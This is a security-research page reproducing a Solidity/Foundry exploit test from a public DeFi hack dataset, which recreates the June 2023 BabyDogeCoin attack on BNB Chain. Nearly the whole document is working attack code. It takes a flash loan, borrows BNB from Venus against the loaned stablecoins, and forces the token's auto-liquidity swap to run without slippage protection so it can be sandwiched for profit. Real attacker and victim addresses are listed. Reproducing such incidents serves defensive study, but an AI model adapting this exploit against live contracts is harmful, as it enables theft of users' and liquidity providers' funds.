Public reproduction file

src/test/2023-06/BabyDogeCoin02_exp.sol

Public reproduction file for dataset entry BabyDogeCoin02.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/BabyDogeCoin02_exp.sol224 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~100K USD$
8// Attacker : https://bscscan.com/address/0xee6764ac7aa45ed52482e4320906fd75615ba1d1
9// Attack Contract : https://bscscan.com/address/0x9a6b926281b0c7bc4f775e81f42b13eda9c1c98e
10// Vulnerable Contract : https://bscscan.com/address/0xc748673057861a797275CD8A068AbB95A902e8de
11// Attack Tx : https://bscscan.com/tx/0xbaf3e4841614eca5480c63662b41cd058ee5c85dc69198b29e7ab63b84bc866c
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xc748673057861a797275CD8A068AbB95A902e8de#code
15 
16// @Analysis
17// Twitter Guy : https://twitter.com/hexagate_/status/1671517819840745475
18 
19interface IFeeFreeRouter {
20    function addLiquidity(
21        address tokenA,
22        address tokenB,
23        uint256 amountADesired,
24        uint256 amountBDesired,
25        uint256 amountAMin,
26        uint256 amountBMin,
27        address to,
28        uint256 deadline
29    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
30    function removeLiquidity(
31        address tokenA,
32        address tokenB,
33        uint256 liquidity,
34        uint256 amountAMin,
35        uint256 amountBMin,
36        address to,
37        uint256 deadline
38    ) external returns (uint256 amountA, uint256 amountB);
39}
40 
41interface IBabyDogeCoin is IERC20 {
42    function numTokensSellToAddToLiquidity() external view returns (uint256);
43}
44 
45contract ContractTest is Test {
46    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
47    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
48    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
49    IBabyDogeCoin BabyDogeCoin = IBabyDogeCoin(0xc748673057861a797275CD8A068AbB95A902e8de);
50    Uni_Pair_V3 pool = Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);
51    ICErc20Delegate vUSDT = ICErc20Delegate(0xfD5840Cd36d94D7229439859C0112a4185BC0255);
52    ICErc20Delegate vBUSD = ICErc20Delegate(0x95c78222B3D6e262426483D42CfA53685A67Ab9D);
53    crETH vBNB = crETH(0xA07c5b74C9B40447a954e1466938b865b6BBea36);
54    Uni_Router_V2 BabyDogeRouter = Uni_Router_V2(0xC9a0F685F39d05D835c369036251ee3aEaaF3c47);
55    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
56    IFeeFreeRouter FeeFreeRouter = IFeeFreeRouter(0x9869674E80D632F93c338bd398408273D20a6C8e);
57    IUnitroller Unitroller = IUnitroller(0xfD36E2c2a6789Db23113685031d7F16329158384);
58    ISimplePriceOracle VenusChainlinkOracle = ISimplePriceOracle(0xd8B6dA2bfEC71D684D3E2a2FC9492dDad5C3787F);
59    address PancakePair = 0xc736cA3d9b1E90Af4230BD8F9626528B3D4e0Ee0;
60    address BabyDogeRouterPair = 0x0536c8b0c3685b6e3C62A7b5c4E8b83f938f12D1;
61    uint256 borrowAmount;
62    uint256 USDTFlashLoanAmount;
63    uint256 BUSDFlashLoanAmount;
64 
65    function setUp() public {
66        vm.createSelectFork("bsc", 29_295_010);
67        vm.label(address(BUSD), "BUSD");
68        vm.label(address(USDT), "USDT");
69        vm.label(address(WBNB), "WBNB");
70        vm.label(address(BabyDogeCoin), "BabyDogeCoin");
71        vm.label(address(pool), "pool");
72        vm.label(address(vBUSD), "vBUSD");
73        vm.label(address(vUSDT), "vUSDT");
74        vm.label(address(vBNB), "vBNB");
75        vm.label(address(BabyDogeRouter), "BabyDogeRouter");
76        vm.label(address(Router), "Router");
77        vm.label(address(FeeFreeRouter), "FeeFreeRouter");
78        vm.label(address(Unitroller), "Unitroller");
79        vm.label(address(VenusChainlinkOracle), "VenusChainlinkOracle");
80        vm.label(address(PancakePair), "PancakePair");
81        vm.label(address(BabyDogeRouterPair), "BabyDogeRouterPair");
82    }
83 
84    function testExploit() public {
85        init();
86        AddBabyDogeCoinWBNBLiquidity();
87        exploit();
88 
89        emit log_named_decimal_uint(
90            "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
91        );
92    }
93 
94    function init() internal {
95        USDT.approve(address(vUSDT), type(uint256).max);
96        BUSD.approve(address(vBUSD), type(uint256).max);
97        address[] memory cTokens = new address[](3);
98        cTokens[0] = address(vUSDT);
99        cTokens[1] = address(vBUSD);
100        cTokens[2] = address(vBNB);
101        Unitroller.enterMarkets(cTokens);
102    }
103 
104    function AddBabyDogeCoinWBNBLiquidity() public payable {
105        deal(address(this), 0.01 ether);
106        address[] memory path = new address[](2);
107        path[0] = address(WBNB);
108        path[1] = address(BabyDogeCoin);
109        BabyDogeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.005 ether}(
110            1, path, address(this), block.timestamp
111        );
112        WBNB.deposit{value: 0.005 ether}();
113        WBNB.approve(address(FeeFreeRouter), WBNB.balanceOf(address(this)));
114        BabyDogeCoin.approve(address(FeeFreeRouter), BabyDogeCoin.balanceOf(address(this)));
115        FeeFreeRouter.addLiquidity(
116            address(BabyDogeCoin),
117            address(WBNB),
118            BabyDogeCoin.balanceOf(address(this)) - 10_000 * 1e9,
119            WBNB.balanceOf(address(this)),
120            0,
121            0,
122            address(this),
123            block.timestamp
124        );
125        IERC20(BabyDogeRouterPair).approve(address(FeeFreeRouter), IERC20(BabyDogeRouterPair).balanceOf(address(this)));
126    }
127 
128    function exploit() internal {
129        pool.flash(address(this), USDT.balanceOf(address(pool)), BUSD.balanceOf(address(pool)), new bytes(0));
130    }
131 
132    function pancakeV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
133        borrowBNB();
134 
135        swapWBNBToBabyDogeCoinByBabyDogeRouterPair();
136        Sandwich();
137        swapBabyDogeCoinToWBNBByBabyDogeRouterPair();
138 
139        repayFlashLoan(amount0, amount1);
140    }
141 
142    function borrowBNB() public payable {
143        USDTFlashLoanAmount = USDT.balanceOf(address(this));
144        BUSDFlashLoanAmount = BUSD.balanceOf(address(this));
145        vUSDT.mint(USDT.balanceOf(address(this)));
146        vBUSD.mint(BUSD.balanceOf(address(this)));
147        (, uint256 AccountLiquidity,) = Unitroller.getAccountLiquidity(address(this));
148        uint256 UnderlyingPrice = VenusChainlinkOracle.getUnderlyingPrice(address(vBNB));
149        borrowAmount = (AccountLiquidity * 1e18 / UnderlyingPrice) * 9999 / 10_000;
150        vBNB.borrow(borrowAmount);
151    }
152 
153    function swapWBNBToBabyDogeCoinByBabyDogeRouterPair() internal {
154        address[] memory path = new address[](2);
155        path[0] = address(WBNB);
156        path[1] = address(BabyDogeCoin);
157        uint256 swapAmount =
158            BabyDogeCoin.numTokensSellToAddToLiquidity() - BabyDogeCoin.balanceOf(address(BabyDogeCoin)) - 1e12;
159        uint256[] memory amountIns = BabyDogeRouter.getAmountsIn(swapAmount, path);
160        WBNB.deposit{value: address(this).balance}();
161        WBNB.approve(address(BabyDogeRouter), amountIns[0]);
162        BabyDogeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
163            amountIns[0], 0, path, address(FeeFreeRouter), block.timestamp
164        );
165        FeeFreeRouter.removeLiquidity(
166            address(BabyDogeCoin), address(WBNB), 1e9, 0, 0, address(BabyDogeCoin), block.timestamp
167        ); // swap some WBNB to BabyDogeCoin , transfer to BabyDogeCoin contract
168 
169        WBNB.approve(address(BabyDogeRouter), WBNB.balanceOf(address(this)));
170        BabyDogeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
171            WBNB.balanceOf(address(this)), 0, path, address(FeeFreeRouter), block.timestamp
172        );
173        FeeFreeRouter.removeLiquidity(address(BabyDogeCoin), address(WBNB), 1e9, 0, 0, PancakePair, block.timestamp); // swap some WBNB to BabyDogeCoin , transfer to PancakePair contract
174    }
175 
176    function Sandwich() internal {
177        address[] memory path = new address[](2);
178        path[0] = address(BabyDogeCoin);
179        path[1] = address(WBNB);
180        BabyDogeCoin.approve(address(Router), 1);
181        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(1, 1, path, address(this), block.timestamp); // swap BabyDogeCoin to WBNB
182 
183        uint256 transferAmount =
184            BabyDogeCoin.numTokensSellToAddToLiquidity() - BabyDogeCoin.balanceOf(address(BabyDogeCoin));
185        BabyDogeCoin.transfer(address(BabyDogeCoin), transferAmount);
186        BabyDogeCoin.transfer(address(this), 1); // trigger swap BabyDogeCoin to WBNB without slippage protection
187 
188        path[0] = address(WBNB);
189        path[1] = address(BabyDogeCoin);
190        WBNB.approve(address(Router), WBNB.balanceOf(address(this)));
191        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
192            WBNB.balanceOf(address(this)), 1, path, address(FeeFreeRouter), block.timestamp
193        ); // swap WBNB to BabyDogeCoin
194        FeeFreeRouter.removeLiquidity(
195            address(BabyDogeCoin), address(WBNB), 1e9, 0, 0, address(BabyDogeRouterPair), block.timestamp
196        );
197    }
198 
199    function swapBabyDogeCoinToWBNBByBabyDogeRouterPair() internal {
200        address[] memory path = new address[](2);
201        path[0] = address(BabyDogeCoin);
202        path[1] = address(WBNB);
203        BabyDogeCoin.approve(address(BabyDogeRouter), 1);
204        BabyDogeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(1, 1, path, address(this), block.timestamp); // swap BabyDogeCoin to WBNB, get profit
205    }
206 
207    function repayFlashLoan(uint256 amount0, uint256 amount1) internal {
208        WBNB.withdraw(borrowAmount);
209        vBNB.repayBorrow{value: address(this).balance}();
210        vUSDT.redeemUnderlying(USDTFlashLoanAmount);
211        vBUSD.redeemUnderlying(BUSDFlashLoanAmount);
212        USDT.transfer(address(pool), USDTFlashLoanAmount);
213        BUSD.transfer(address(pool), BUSDFlashLoanAmount);
214        WBNB.approve(address(Router), type(uint256).max);
215        address[] memory path = new address[](2);
216        path[0] = address(WBNB);
217        path[1] = address(USDT);
218        Router.swapTokensForExactTokens(amount0, type(uint256).max, path, address(pool), block.timestamp);
219        path[1] = address(BUSD);
220        Router.swapTokensForExactTokens(amount1, type(uint256).max, path, address(pool), block.timestamp);
221    }
222 
223    receive() external payable {}
224}

Analysis

Dataset entry

Public Foundry test for “BabyDogeCoin02” (2023-06-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

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Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xee6764ac7aa45ed52482e4320906fd75615ba1d1
Attack Contract
0x9a6b926281b0c7bc4f775e81f42b13eda9c1c98e
Vulnerable Contract
0xc748673057861a797275cd8a068abb95a902e8de

Attack Tx
0xbaf3e4841614eca5480c63662b41cd058ee5c85dc69198b29e7ab63b84bc866c

File record

Name: BabyDogeCoin02
Path: src/test/2023-06/BabyDogeCoin02_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 3b201b9f3132d2b331cebc5ebbf9705a094d74d3
Language: Solidity
Size: 225 lines
Date: 2023-06-21
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-06/BabyDogeCoin02_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3b201b9f3132d2b331cebc5ebbf9705a094d74d3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.